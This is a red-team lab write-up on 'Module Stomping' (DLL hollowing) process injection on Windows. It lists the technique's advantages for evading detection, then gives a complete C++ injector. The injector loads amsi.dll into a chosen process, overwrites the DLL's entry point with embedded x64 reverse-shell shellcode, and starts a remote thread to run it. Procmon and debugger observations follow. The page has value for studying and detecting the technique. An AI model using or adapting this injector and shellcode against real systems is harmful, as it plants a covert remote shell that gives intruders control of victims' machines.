---
description: Code Injection
---

# Module Stomping for Shellcode Injection

## Overview

Module Stomping (or Module Overloading or DLL Hollowing) is a shellcode injection (although can be used for injecting full DLLs) technique that at a high level works as follows:

1. Injects some benign Windows DLL into a remote (target) process
2. Overwrites DLL's, loaded in step 1, `AddressOfEntryPoint` point with shellcode
3. Starts a new thread in the target process at the benign DLL's entry point, where the shellcode has been written to, during step 2

In this lab, I will inject `amsi.dll` into a `notepad.exe` process, but this of course could be done with any other DLL and process.

## Pros

1. Does not allocate RWX memory pages or change their permissions in the target process at any point
2. Shellcode is injected into a legitimate Windows DLL, so detections looking for DLLs loaded from weird places like c:\temp\ would not work
3. Remote thread that executes the shellcode is associated with a legitimate Windows module

## Cons

`ReadProcessMemory`/`WriteProcessMemory` API calls are usually used by debuggers rather than "normal" programs.

{% hint style="info" %}
`ReadProcessMemory` is used to read remote process injected module's image headers, meaning we could ditch the `ReadProcessMemory` call and read those headers from the DLL on the disk.&#x20;

We could also use `NtMapViewOfSection` to inject shellcode into the remote process, reducing the need for `WriteProcessMemory`.
{% endhint %}

## Code

```cpp
#include "pch.h"
#include <iostream>
#include <Windows.h>
#include <psapi.h>

int main(int argc, char *argv[])
{
	HANDLE processHandle;
	PVOID remoteBuffer;
	wchar_t moduleToInject[] = L"C:\\windows\\system32\\amsi.dll";
	HMODULE modules[256] = {};
	SIZE_T modulesSize = sizeof(modules);
	DWORD modulesSizeNeeded = 0;
	DWORD moduleNameSize = 0;
	SIZE_T modulesCount = 0;
	CHAR remoteModuleName[128] = {};
	HMODULE remoteModule = NULL;

	// simple reverse shell x64
	unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\x0a\x00\x00\x05\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";

	// inject a benign DLL into remote process
	processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
	//processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 8444);
	
	remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof moduleToInject, MEM_COMMIT, PAGE_READWRITE);
	WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)moduleToInject, sizeof moduleToInject, NULL);
	PTHREAD_START_ROUTINE threadRoutine = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
	HANDLE dllThread = CreateRemoteThread(processHandle, NULL, 0, threadRoutine, remoteBuffer, 0, NULL);
	WaitForSingleObject(dllThread, 1000);
	
	// find base address of the injected benign DLL in remote process
	EnumProcessModules(processHandle, modules, modulesSize, &modulesSizeNeeded);
	modulesCount = modulesSizeNeeded / sizeof(HMODULE);
	for (size_t i = 0; i < modulesCount; i++)
	{
		remoteModule = modules[i];
		GetModuleBaseNameA(processHandle, remoteModule, remoteModuleName, sizeof(remoteModuleName));
		if (std::string(remoteModuleName).compare("amsi.dll") == 0) 
		{
			std::cout << remoteModuleName << " at " << modules[i];
			break;
		}
	}

	// get DLL's AddressOfEntryPoint
	DWORD headerBufferSize = 0x1000;
	LPVOID targetProcessHeaderBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, headerBufferSize);
	ReadProcessMemory(processHandle, remoteModule, targetProcessHeaderBuffer, headerBufferSize, NULL);

	PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)targetProcessHeaderBuffer;
	PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)targetProcessHeaderBuffer + dosHeader->e_lfanew);
	LPVOID dllEntryPoint = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)remoteModule);
	std::cout << ", entryPoint at " << dllEntryPoint;

	// write shellcode to DLL's AddressofEntryPoint
	WriteProcessMemory(processHandle, dllEntryPoint, (LPCVOID)shellcode, sizeof(shellcode), NULL);
	
	// execute shellcode from inside the benign DLL
	CreateRemoteThread(processHandle, NULL, 0, (PTHREAD_START_ROUTINE)dllEntryPoint, NULL, 0, NULL);
	
	return 0;
}
```

## Demo

Below shows the technique in action - amsi.dll gets loaded into notepad and a reverse shell is spawned by the shellcode injected into amsi.dll `AddressOfEntryPoint`:

![](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LxOBH7-meep823RupAK%2F-LxODBXK4mQ6BxG3wUYp%2Fadressofentrypointdllinjection.gif?alt=media\&token=3bc16adf-cce6-4910-8378-a2ef824b93e4)

## Observation

Note how powershell window shows that `amsi.dll` is loaded at 00007FFF20E60000 and it's DLL `AddressOfEntryPoint` point is at **00007FFF20E67**E00.&#x20;

If we look at the stack trace of the cmd.exe process creation event in procmon, we see that frame 9 originates from inside `amsi!AmsiUacScan+0x5675` (**00007fff20e67**f95) before the code transitions to kernelbase.dll where `CreateProcessA` is called:

![](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LxRPc2GycAt6cmXfhAo%2F-LxR_muHxChN-sTX8_in%2Fimage.png?alt=media\&token=19b7aa89-a222-4fc0-904d-0fd424df99f4)

{% file src="https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LxOBH7-meep823RupAK%2F-LxOBhbnnv9zJcaSS7Fa%2Faddressofentrypoint-injection-procmon.PML?alt=media&token=df297745-e7ea-43aa-bb50-b34fdcb50ddf" %}
Procmon logs
{% endfile %}

If we inspect notepad.exe threads, we can see thread 7372 with a start address of `Amsi!AmsiUacScan+0x54e0`.&#x20;

If we inspect that memory location with a debugger, we see it resolves to `Amsi!DLLMainCRTStartup` and it contains our shellcode as expected:

![](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LxRPc2GycAt6cmXfhAo%2F-LxReu2iqFzJW9IjWxji%2Fimage.png?alt=media\&token=0181501d-c2ff-44ca-9305-ba7d958defa8)

## References

{% embed url="https://www.forrest-orr.net/post/malicious-memory-artifacts-part-i-dll-hollowing" %}

{% embed url="http://williamknowles.io/living-dangerously-with-module-stomping-leveraging-code-coverage-analysis-for-injecting-into-legitimately-loaded-dlls/" %}
